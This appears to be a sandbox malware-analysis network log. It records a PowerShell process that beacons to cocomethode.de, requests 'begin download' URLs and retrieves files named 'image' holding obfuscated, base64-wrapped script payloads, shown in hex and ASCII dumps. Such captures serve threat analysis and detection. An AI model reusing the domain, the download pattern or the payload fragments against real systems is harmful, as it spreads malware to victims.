28 3a 0b Data Ascii: OC[1qHUkCkcVy0VkCJemqH`3ePT1KhX{ORdVGYOV4XT3esXjb4cmSXUl4KRIeoTUH4eVSuWomjSmK3UGWvdlHxOICQe{CMRTOC[1mEToOhLlSNVmiNdmmY[FykdTD4RTWC#((:Hownjd,Dyqsdrrhno!)ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%hw{{qdo!*!%{i{jsy((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49761	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:16 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a18040cae83c6cdcf9ff4eb HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:14:16 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 31 62 63 61 34 63 37 33 34 62 34 31 37 33 31 38 36 63 65 64 38 33 31 34 31 36 38 34 64 36 39 33 31 63 31 62 33 33 39 63 63 31 36 61 38 63 35 64 63 66 31 34 32 30 30 66 38 34 37 31 32 39 64 31 63 35 37 33 37 66 61 62 38 38 61 65 64 31 65 35 32 34 39 34 37 63 37 64 37 64 61 30 61 34 39 62 37 39 65 62 61 39 35 63 38 39 37 34 65 63 30 39 36 35 61 36 33 38 38 64 34 36 37 30 61 64 33 38 30 35 66 39 61 34 64 62 30 64 65 65 64 64 66 66 36 65 62 39 32 36 65 64 31 66 65 61 33 66 66 35 62 35 62 63 33 65 62 39 66 39 61 66 36 63 62 64 39 64 31 39 65 30 39 39 32 31 34 63 61 32 63 36 39 35 64 32 65 62 63 32 65 Data Ascii: [ "\"begin download https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2e
2024-12-11 11:14:17 UTC	1199	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:17 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hAHM3%2FMp0DhPYryIXR0sYY2%2FRnvX%2FZfRbS6gEvxaRD9820HcqWZFhqohCQ5e%2BjtWyKBHpl5qjYy7aOQC6PoGIq9P5RSwRudb43WSW8F0adjVNCiGevWgRHIidssDqpYY8f%2FjyRrWAn1Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=54169&min_rtt=1355&rtt_var=7975&sent=5366&recv=2511&lost=0&retrans=0&sent_bytes=7518753&recv_bytes=268930&delivery_rate=22783635&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050cd84e011d66-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113883&min_rtt=113826&rtt_var=24097&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1248&delivery_rate=33603&cwnd=252&unsent_bytes=0&cid=981cde24af8f4224&ts=842&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49762	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:17 UTC	365	OUT	GET /file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:18 UTC	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:18 GMT Content-Type: application/octet-stream Content-Length: 2862 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GKKbQyPuzY%2FhwEeu2R3CG6%2F8wAOiN6vyYu1YukRvmt6zK%2FVgZje2UuOnXy%2FhKCdcVt%2FVoFOKZnP%2BDW3iIrr0DpWboN5mvtXnOcHL9d5bWMMtTkwbCc0wqqh4JzF0bKYYhXIHUdY8TL8x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37519&min_rtt=1137&rtt_var=12116&sent=204&recv=303&lost=0&retrans=0&sent_bytes=19020&recv_bytes=266300&delivery_rate=2495726&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050cdf3815bf93-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=683&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=57&rtt_var=28&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=669&delivery_rate=0&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:18 UTC	1033	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 6d 69 6e 5f 72 74 74 3d 34 34 26 72 74 74 5f 76 61 72 3d 32 32 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 35 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 31 30 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 6d 69 6e 5f 72 74 74 3d 34 33 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=655&delivery_rate=0&cwnd=109&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=43&rtt
2024-12-11 11:14:18 UTC	416	IN	Data Raw: 25 7b 62 63 64 70 7b 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 44 6e 76 52 54 65 4a 65 6d 71 48 60 33 65 6a 53 7b 69 6f 58 7b 4f 52 64 56 47 59 4f 56 34 44 54 56 38 6f 52 54 4f 43 5b 31 71 48 55 6b 43 6b 63 56 79 30 56 6b 43 4a 65 6d 71 48 60 33 65 50 54 31 4b 68 58 7b 4f 52 64 56 47 59 4f 56 34 58 54 33 65 73 58 6a 62 34 63 6d 53 58 55 6c 34 4b 52 49 65 6f 54 55 48 34 65 56 53 75 57 6f 6d 6a 53 6d 4b 33 55 47 57 76 64 6c 48 78 4f 49 43 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 4f 68 4c 6c 53 4e 56 6d 69 4e 64 6d 6d 59 5b 46 79 6b 64 54 44 34 52 54 57 43 63 31 75 Data Ascii: %{bcdp{<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#VDnvRTeJemqH`3ejS{ioX{ORdVGYOV4DTV8oRTOC[1qHUkCkcVy0VkCJemqH`3ePT1KhX{ORdVGYOV4XT3esXjb4cmSXUl4KRIeoTUH4eVSuWomjSmK3UGWvdlHxOICQe{CMRTOC[1mEToOhLlSNVmiNdmmY[FykdTD4RTWCc1u
2024-12-11 11:14:18 UTC	1369	IN	Data Raw: 65 45 6d 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 4b 60 56 46 75 6f 54 47 4f 43 60 57 44 78 4e 59 57 6a 53 30 5b 30 5b 44 4c 79 57 56 57 58 50 6c 79 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 6a 63 54 5b 7b 5b 47 65 57 5b 30 43 55 50 56 6d 5b 56 44 4b 32 58 6a 65 72 60 6d 6d 58 54 6f 43 68 4c 6b 53 33 58 56 34 4e 65 6c 4b 71 52 55 65 44 54 56 38 4e 50 33 6d 43 5b 31 6d 45 50 56 75 69 53 30 5b 6e 56 6a 65 56 64 56 4c 79 62 33 75 69 4c 6d 58 30 56 47 4f 43 4e 54 6d 45 54 6b 4b 5b 57 32 66 79 56 6d 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 73 5b 47 69 4a 62 44 6d 44 4c 46 65 4b 63 56 66 76 5b 44 69 42 64 6a 38 71 4e 49 5b 5b 4c 6b 6d 70 58 6b 48 79 63 46 53 49 60 49 5b 60 53 30 57 30 56 6a 65 57 65 6a 34 70 50 55 57 5b 57 31 5b 75 56 55 4b 46 60 44 30 Data Ascii: eEmQe{CMRTOC[1mEToK`VFuoTGOC`WDxNYWjS0[0[DLyWVWXPlyK`oONP3mC[1mEPVujcT[{[GeW[0CUPVm[VDK2Xjer`mmXToChLkS3XV4NelKqRUeDTV8NP3mC[1mEPVuiS0[nVjeVdVLyb3uiLmX0VGOCNTmETkK[W2fyVmS{UjOqPVeKP1Gs[GiJbDmDLFeKcVfv[DiBdj8qNI[[LkmpXkHycFSI`I[`S0W0VjeWej4pPUW[W1[uVUKF`D0
2024-12-11 11:14:18 UTC	1077	IN	Data Raw: 6c 71 6f 65 57 48 78 57 6b 43 57 4c 30 4b 34 58 57 62 30 63 6a 75 45 54 6c 6d 6d 56 47 4b 72 54 57 69 4a 64 57 6d 58 60 32 43 4d 57 49 4f 4e 50 33 65 73 52 6d 6d 74 52 6c 79 5b 57 32 4c 32 53 47 47 77 52 6c 5b 53 4c 44 75 45 57 31 34 6e 5b 44 65 4e 63 31 53 53 63 31 71 6d 65 7b 43 4d 50 30 47 72 57 47 71 59 4f 56 75 4b 50 30 4b 6c 55 46 75 56 4f 47 6a 78 57 6f 65 6a 53 33 79 33 58 6c 6a 30 55 6d 71 58 55 6f 71 5b 57 33 53 72 55 32 62 76 52 31 4f 53 60 33 75 5b 4c 6b 6a 79 58 6c 34 53 5b 31 79 54 4c 46 65 4f 57 49 4f 4e 50 33 65 73 52 6d 54 7b 54 6c 69 6b 63 6d 47 31 57 55 4b 35 63 47 71 58 50 56 65 4c 56 44 30 6f 55 57 53 57 4f 31 53 53 63 31 71 6c 54 55 43 4d 5b 6d 44 76 52 31 53 53 63 31 34 45 5b 7b 31 38 23 28 28 3a 0b 25 78 60 63 68 6c 7b 79 65 71 3c Data Ascii: lqoeWHxWkCWL0K4XWb0cjuETlmmVGKrTWiJdWmX`2CMWIONP3esRmmtRly[W2L2SGGwRl[SLDuEW14n[DeNc1SSc1qme{CMP0GrWGqYOVuKP0KlUFuVOGjxWoejS3y3Xlj0UmqXUoq[W3SrU2bvR1OS`3u[LkjyXl4S[1yTLFeOWIONP3esRmT{TlikcmG1WUK5cGqXPVeLVD0oUWSWO1SSc1qlTUCM[mDvR1SSc14E[{18#((:%x`chl{yeq<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49763	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:19 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae4336e9bc7aa16a310feabd HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:14:19 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 35 33 62 38 31 37 63 36 62 34 30 33 66 64 65 39 31 31 61 31 33 33 35 39 61 64 38 35 32 61 38 30 39 62 37 32 63 33 61 36 31 63 39 64 33 33 30 33 30 62 66 30 65 34 31 33 30 37 30 38 64 62 65 33 65 65 31 66 63 64 38 35 30 38 32 64 31 35 65 61 37 63 30 32 37 62 34 37 34 39 61 65 61 38 38 36 37 65 33 65 32 34 37 62 64 36 34 38 64 32 35 30 61 30 39 31 35 33 66 35 61 39 30 35 31 66 37 66 63 65 63 37 66 66 32 61 64 36 30 38 38 62 65 39 39 38 64 38 33 37 37 33 33 62 61 62 62 31 64 38 31 64 30 62 66 37 31 32 63 38 38 38 31 65 36 66 63 35 33 64 64 30 36 36 33 62 64 64 39 37 62 34 62 61 32 37 62 62 30 32 61 Data Ascii: [ "\"begin download https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02a
2024-12-11 11:14:19 UTC	1367	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:19 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8vzkPD2IK9jA7k7lr4gpAONONg11ZrwJnRDbWdPbSqEgEan0gkjKsoU%2FC%2BPFjCUhwf1E%2BPrL%2BebNvO5SxE0miuPTrwtjeEvJiRzIbo6QRkqXEx0y8d2ZegzZLx5gVCnxneioYZoE7fk2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24878&min_rtt=1511&rtt_var=25726&sent=287&recv=378&lost=0&retrans=0&sent_bytes=64289&recv_bytes=298264&delivery_rate=6907155&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050ce65c24071f-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt_var=22&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=859&delivery_rate=0&cwnd=174&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=848&delivery_rate=0&cwnd=123&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=54&min_rtt=54&rtt_var=27&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:19 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 31 31 31 26 6d 69 6e 5f 72 74 74 3d 31 31 34 30 37 35 26 72 74 74 5f 76 61 72 3d 32 34 31 32 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 34 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 33 32 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 33 65 62 39 65 63 39 35 34 62 36 62 35 37 63 34 26 74 73 3d 38 34 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=114111&min_rtt=114075&rtt_var=24124&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1248&delivery_rate=33532&cwnd=252&unsent_bytes=0&cid=3eb9ec954b6b57c4&ts=848&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49764	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:20 UTC	365	OUT	GET /file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:21 UTC	1291	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:21 GMT Content-Type: application/octet-stream Content-Length: 21732 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NdrfulK5D94Xe55FwjJzlt4GUJvnyaCkMJnNXZRh%2B%2BcN2YUhlMTterozufe2NzJjqpnz9WBVRPftG7b%2FxAtuR2e2x%2Ba7bshjUlVGGuKRSxCp7MPNBJQbseKxyqq8VHwZ0LYQPvT2ApIW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=55454&min_rtt=1355&rtt_var=5745&sent=5412&recv=2604&lost=0&retrans=0&sent_bytes=7524195&recv_bytes=351920&delivery_rate=22783635&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050ced297cdd1d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=47&rtt_var=23&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=669&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=655&delivery_rate=0&cwnd=121&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:21 UTC	811	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 33 26 6d 69 6e 5f 72 74 74 3d 34 33 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 34 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 33 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 35 26 6d 69 6e 5f 72 74 74 3d 34 35 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=641&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt
2024-12-11 11:14:21 UTC	636	IN	Data Raw: 25 72 72 67 73 71 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 5b 44 57 35 62 46 4c 7b 54 56 65 4a 53 30 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4c 50 31 47 73 56 6c 30 72 62 30 71 56 57 6f 6d 68 50 55 43 4d 53 47 47 77 60 6a 6d 47 55 6c 38 60 57 31 34 78 52 54 65 72 63 54 6d 48 54 6c 38 60 54 31 4b 79 58 6b 4b 4b 5b 33 47 58 55 56 65 6b 63 6d 5b 30 58 6c 30 72 65 57 71 32 4c 44 75 69 57 30 6d 6f 52 31 4f 52 62 56 48 78 52 59 57 57 4c 30 4b 6e 5b 44 65 57 5b 31 79 59 57 6f 69 4b 50 33 53 55 5b 47 62 30 65 56 47 59 4f 56 34 4a 64 56 75 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b Data Ascii: %rrgsq<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#[DW5bFL{TVeJS0qvXjeVTWmXTl8LP1GsVl0rb0qVWomhPUCMSGGw`jmGUl8`W14xRTercTmHTl8`T1KyXkKK[3GXUVekcm[0Xl0reWq2LDuiW0moR1ORbVHxRYWWL0Kn[DeW[1yYWoiKP3SU[Gb0eVGYOV4JdVuo[YbvR1mEPVeK
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 55 6f 5b 6a 57 7b 54 76 52 54 50 76 5b 31 30 54 50 55 65 44 54 56 38 6f 52 54 4f 43 5b 33 50 78 60 49 43 68 53 30 57 77 52 6a 65 4e 65 6c 53 59 4f 55 43 4b 50 7b 47 74 5b 44 4f 43 65 31 75 53 4c 44 75 4b 50 31 47 6f 52 54 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 53 48 52 6b 57 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 4f 59 4f 55 4b 68 4c 6f 53 72 55 47 5b 6a 63 47 6d 72 52 6c 79 6b 56 47 5b 72 58 7b 4f 53 5b 31 79 56 57 6d 4f 55 54 31 47 73 57 6d 69 4a 62 31 6d 45 4c 57 43 6a 56 47 4b 49 58 57 65 35 63 44 6d 45 54 6a 57 60 56 44 35 76 58 57 62 30 60 46 53 49 63 49 5b 68 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 47 Data Ascii: DuDTV8oRTOC[1qIUo[jW{TvRTPv[10TPUeDTV8oRTOC[3Px`IChS0WwRjeNelSYOUCKP{Gt[DOCe1uSLDuKP1GoRTi{UjOqPVeKP1GoRTOC[3SHRkWme{CMRTOC[1mEPVeKP1GoRTOC[0OYOUKhLoSrUG[jcGmrRlykVG[rX{OS[1yVWmOUT1GsWmiJb1mELWCjVGKIXWe5cDmETjW`VD5vXWb0`FSIcI[h`oONP3mC[1mEPVeKP1GoRTOC[1mG
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 71 76 54 30 71 59 53 6c 75 53 57 32 69 7b 54 56 34 72 4c 47 71 58 55 56 38 4a 53 56 79 30 58 31 69 56 4c 47 4b 75 63 49 4f 60 57 6a 4b 6e 5b 44 65 6f 62 44 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 64 54 4b 42 58 31 69 42 62 33 57 55 50 6d 6d 54 4c 54 6d 6f 56 6d 62 30 60 6c 4f 74 63 49 65 6a 53 33 79 33 58 6c 6a 34 60 30 71 59 55 6f 6d 6d 56 44 48 76 58 57 62 34 65 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 49 56 6f 5b 6b 60 54 47 77 52 6a 65 73 5b 30 43 55 50 59 65 51 64 54 47 73 58 57 4f 43 65 46 4b 48 54 56 65 4a 53 30 71 76 58 6a 65 56 50 33 57 58 54 6c 79 6b 64 55 57 4f 56 6d 62 30 63 6c 53 49 5b 7b 65 4b 50 30 4b 76 52 32 6d 7b 62 44 6d 48 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 Data Ascii: qvT0qYSluSW2i{TV4rLGqXUV8JSVy0X1iVLGKucIO`WjKn[DeobDSSc14E`TGoRTOC[1mEPVeKdTKBX1iBb3WUPmmTLTmoVmb0`lOtcIejS3y3Xlj4`0qYUommVDHvXWb4eTSSc3eKP1GoRTOC[1mIVo[k`TGwRjes[0CUPYeQdTGsXWOCeFKHTVeJS0qvXjeVP3WXTlykdUWOVmb0clSI[{eKP0KvR2m{bDmHb14E`TGoRTOC[1mEPVeKP1GoR
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 69 53 6b 40 33 55 33 75 6a 63 46 53 46 54 6c 79 68 56 44 4b 53 56 57 69 52 63 31 75 45 60 31 34 45 5b 7b 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4a 53 30 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4b 53 45 43 6f 54 33 31 34 62 46 4b 71 4c 57 47 5b 56 47 4b 77 52 54 4c 79 54 57 6d 58 54 6c 38 4b 50 30 48 76 56 6d 62 79 65 30 4b 75 4e 59 4f 60 53 30 5b 34 52 54 4c 79 53 46 47 49 63 49 4f 60 53 6a 4b 6e 5b 44 65 6f 5b 31 71 47 56 6f 43 68 53 30 5b 51 56 57 62 79 63 44 53 53 63 33 65 4b 50 31 47 6f 58 57 65 5b 5b 31 75 46 54 6c 79 6b 4c 30 47 31 57 54 65 46 4c 46 47 45 50 59 53 57 53 31 58 76 58 54 4f 43 60 30 71 75 63 49 4f 60 57 6a 4b 6e 5b 44 65 6f 62 44 6d 48 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 54 4c 57 4b 55 57 33 75 56 57 6d 5b 73 52 6d Data Ascii: iSk@3U3ujcFSFTlyhVDKSVWiRc1uE`14E[{CMSGGw[1mEPVeJS0qvXjeVTWmXTl8KSECoT314bFKqLWG[VGKwRTLyTWmXTl8KP0HvVmbye0KuNYO`S0[4RTLySFGIcIO`SjKn[Deo[1qGVoChS0[QVWbycDSSc3eKP1GoXWe[[1uFTlykL0G1WTeFLFGEPYSWS1XvXTOC`0qucIO`WjKn[DeobDmHb14E`TGoRTOC[1mEPVeTLWKUW3uVWm[sRm
